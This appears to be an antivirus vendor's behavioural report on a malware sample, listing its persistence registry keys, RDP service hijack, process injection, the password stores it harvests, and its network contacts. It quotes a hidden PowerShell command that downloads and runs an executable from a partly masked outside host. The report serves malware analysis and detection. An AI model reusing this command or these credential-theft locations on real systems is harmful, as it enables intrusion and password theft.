Exploit.Siggen3.5070

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1' = '%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1.exe'
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run] 'A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1' = '%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1....
[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\run] 'A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1' = '%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\A8O1E003-R4Q1-P8Q3-...

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\TermService] 'Start' = '00000002'
[<HKLM>\SYSTEM\CurrentControlSet\Services\TermService\Parameters] 'ServiceDll' = '%ProgramFiles%\Microsoft DN1\sqlmap.dll'

Creates the following services

'umbus' system32\DRIVERS\umbus.sys

Malicious functions

To complicate detection of its presence in the operating system,

blocks the following features:

User Account Control (UAC)

Downloads and executes

http://19#.#.194.245/xpertorigin.exe as %appdata%\xpertorigin.exe

Injects code into

the following user processes:

iexplore.exe

Terminates or attempts to terminate

the following system processes:

<SYSTEM32>\svchost.exe

Searches for registry branches where third party applications store passwords

[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
[<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Internet Account Manager\Accounts]
[<HKCU>\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
[<HKCU>\Software\Microsoft\Internet Account Manager\Accounts]
[<HKCU>\Software\Paltalk]
[<HKCU>\Software\Google\Google Talk\Accounts]
[<HKCU>\Software\Mirabilis\ICQ\NewOwners]
[<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
[<HKLM>\Software\Wow6432Node\Mirabilis\ICQ\NewOwners]
[<HKCU>\Software\AIM\AIMPRO]
[<HKCU>\Software\America Online\AIM6\Passwords]
[<HKCU>\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users]
[<HKCU>\Software\Microsoft\IdentityCRL]
[<HKCU>\Software\Microsoft\MSNMessenger]
[<HKLM>\Software\Wow6432Node\Miranda]
[<HKCU>\Software\Yahoo\Pager]
[<HKCU>\Software\Microsoft\Windows Live Mail]

Reads files which store third party applications passwords

%APPDATA%\mozilla\firefox\profiles.ini
%LOCALAPPDATA%\google\chrome\user data\default\web data
%LOCALAPPDATA%\google\chrome\user data\default\login data
%APPDATA%\opera software\opera stable\login data
%APPDATA%\thunderbird\profiles.ini

Modifies file system

Creates the following files

%TEMP%\abctfhghgdghghš.sct
%APPDATA%\cgerzmk.tmp
%APPDATA%\..g.kd..tmp
%APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\xxtxyhhqe4.txt
%APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\xxtxyhhqe2.txt
<Current directory>\~wrd0000.tmp
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%ALLUSERSPROFILE%\microsoft\crypto\rsa\machinekeys\f686aace6942fb7f7ceb231212eef4a4_36d1130a-ac2e-44f7-9dc1-e424fbcbe0ee
<SYSTEM32>\microsoft\protect\s-1-5-20\preferred
<SYSTEM32>\microsoft\protect\s-1-5-20\e027c235-b1c6-4944-aa9f-dcc6866231f1
%APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1.pas
%APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1
%APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\ut
%ProgramFiles%\microsoft dn1\rdpwrap.ini
%APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1.exe
<SYSTEM32>\rfxvmt.dll
%ProgramFiles%\microsoft dn1\sqlmap.dll
%APPDATA%\uulkocifg.exe
%APPDATA%\xpertorigin.exe
%APPDATA%\haehmll.tmp
%APPDATA%\kzcr.hf.tmp

Sets the 'hidden' attribute to the following files

%APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1.exe

Deletes the following files

%TEMP%\abctfhghgdghghš.sct
%APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\xxtxyhhqe2.txt
%APPDATA%\a8o1e003-r4q1-p8q3-x4a6-y2r2v7w0g8t1\xxtxyhhqe4.txt
%APPDATA%\..g.kd..tmp
%APPDATA%\cgerzmk.tmp
%APPDATA%\haehmll.tmp
%APPDATA%\kzcr.hf.tmp

Substitutes the following files

<PATH_SAMPLE>.rtf

Deletes itself.

Network activity

Connects to

'go##le.ru':80

TCP

HTTP GET requests

http://19#.#.194.245/xpertorigin.exe
http://19#.#.194.245/xpertee.exe

'zy####w.duckdns.org':6703

'zy####w.duckdns.org':4145

UDP

DNS ASK go##le.ru
DNS ASK zy####w.duckdns.org

Miscellaneous

Creates and executes the following

'%APPDATA%\xpertorigin.exe'
'%APPDATA%\uulkocifg.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://19#.#.194.245/xpertorigin.exe','%APPDATA%\xpertorigin.exe');Start-Proc...' (with hidden window)

Executes the following

'%ProgramFiles(x86)%\internet explorer\iexplore.exe' %APPDATA%\uulkoCiFG.exe
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\xxtxyhhqe0.txt"
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\xxtxyhhqe1.txt"
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\xxtxyhhqe2.txt"
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\xxtxyhhqe3.txt"
'%ProgramFiles(x86)%\internet explorer\iexplore.exe' /stext "%APPDATA%\A8O1E003-R4Q1-P8Q3-X4A6-Y2R2V7W0G8T1\xxtxyhhqe4.txt"